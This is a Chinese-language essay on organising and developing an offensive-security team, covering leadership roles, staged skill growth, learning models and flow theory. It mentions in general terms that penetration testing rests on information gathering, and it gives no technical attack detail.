顾名思义,高级攻防团队的建设,表面核心为“攻”,问题的背后是“人才”的管理。如何打造出一支能对抗“有组织,有纪律”的团队?一定是分工合理,责任明确,多个子部门联动的团队。至少一名主管,三名负责人,由于在招聘过程中会涉及到大量的技术模型重合,与人员沉淀,考虑到投入产出比平衡等,故其中负责人(一)主要团队技术模型为:“当下吃饱饭”,(不考虑部门编制,不考虑部门技术人员模型重复以及沉淀,只对部门当下KPI负责,负责面试一面)负责人(二,三)技术模型为:未来更美好(需要考虑到人员技能重合,考虑部门技术闭合,项目生命周期技能模型闭合,考虑人员沉淀等,有权拒绝重复性质人员进入,负责面试二面)。也就是说,每个负责人的责任不同,但方向相一致,一个是当下,一个是未来。主管需要考虑子部门与子部门之间的业务联动,技术闭合,利益共同体,人员的整体学习方法模型,整体方向,战略规划等。部门主管,一定要有放权的勇气,兜底的能力。
2:人员的学习与晋升
古人把一个职业的发展分为7个阶段:
奴:自愿和靠人监督的人 徒:能力不足,肯自愿学习的人 工:老老实实,按规矩做事的人 匠:精通一门技艺或手艺的人 师:掌握了规律,又能将其传授给他人的人 家:有固定的信念,让别人生活的更好的人 圣:精通事理,通达万物的人
同样网络安全学习也有10个阶段划:
问:自愿或靠人监督的人 学:能力不足,肯自愿学习的人 动:老老实实,按课本或教学实践的人 记:记录每次实践或学习心得体会并总结的人 体系:建立适合自己的体系,并能把知识碎片化结合到自我体系的人 问:体系建立后,重新归纳更新知识,并体系重新结构化的人 分享:掌握了规律,又能将其传授给他人的人 带团队:有固定的信念,带领团队或集体形成合力的人 授业:可以传授道理、教授学业、解答疑难问题,指路人。 育才:培养出比自己优秀和强大的人
以上为人员技术能力晋升阶段,而提升整体人员,又要从主动学习与被动学习,个人学习与团队学习方法建模。 爱德加·戴尔提出了一套学习模型:模型主要分别为被动学习与主动学习的一个过程。 同时提出,学习效果在30%以下的几种传统方式,都是个人学习或被动学习;而学习效果在50%以上的,都是团队学习、主动学习和参与式学习。
3:引入
需要“心流理论”引入团队管理,根据契克森米哈伊的说法,就是个体完全地沉浸于体验本身,而体验本身就是最好的奖赏和动机。在心流状态中,我们的感觉和体验合二为一,即“行为和觉察融为一体”。在心流状态中,享受着巅峰体验,同时也做出了巅峰表现:既感受到了快乐,又展现出最好的状态。运动员把这种情形称为“在状态”。无论在心流的境界里做什么,踢球也好,雕刻也好,写诗也好,学习也好,对于正在进行的事情采取的是一种全神贯注的态度,没有任何人或事可以打扰我们或是使我们分心。在这种最佳状态下,能够更有效地学习、成长、进步并且向未来的目标迈进。 拥有清晰的目标是心流体验的前提。虽然目标有时会有所改变,但部门行进的方向是不能错的。当全心全力投入去实现目标,不为任何其他的诱惑所动摇时,才能获得心流体验。同时,当下以及未来的益处在这种状态下合二为一:遥远的目标不但不是阻力,反而可以帮助感受正在经历的意义。心流体验所带来的是更高层次的幸福,它把“一分耕耘,一分收获”变成了“现在的快乐即未来的成果”。“一分耕耘,一分收获”的说法代表我们必须承受极度的压力,无论是身体上还是心理上的,才能发挥100%的潜力,实现至高的目标;但在心流体验中,痛苦本身并不是巅峰表现的最高境界;相反,有一个区域是在过难和过易之间,在这个区间内,不但可以发挥出最大的潜力,还可以享受过程中的快乐。如果想要达到这个境界,任务的挑战要难易适度。
如果任务难度大而技能不足时,会感到焦虑;相反,如果技能高超而任务太简单时,就会感到乏味。只有当难度和技能匹配时,心流体验才有可能出现。有两种不同的情况会影响拥有心流体验:一是有压力的环境,因为这样会带来焦虑;二是没有挑战性的环境,因为这样会使人觉得无聊、厌倦。 好的部门可以营造出一个传播幸福的工作环境。一些外在条件可以帮助员工在工作中找到更多的意义:第一,这份工作必须能够激发员工的才华和潜力;第二,雇员应该获得更大的发挥空间,在部门的运作中扮演更重要的角色,而不只是旁观者;第三,雇员应该感受到他们的业绩是有意义的。
一旦事物的本质抓住,那么就可以降维打击,以渗透的本质为例:
目标资产信息搜集的程度,决定渗透过程的复杂程度。 目标主机信息搜集的深度,决定后渗透权限持续把控。 渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。
以上是第一小节”论本质“的重要性,理论与实战结合参考: 渗透,持续渗透,后渗透的本质 渗透的本质是信息搜集
小结:问题的背后是本质,技术团队不仅仅是由技术主导,而这背后隐藏了资源分配,资源倾斜,学习气氛,沟通,协同,人员能力晋升,团队技术模型与闭合等一系列问题。透过问题看本质。本质适用于”独狼“行动,可快速提高个人实战能力以及思想,但它并不适合”狼群“作战,也就是说团队协作并不适合"本质"方法论。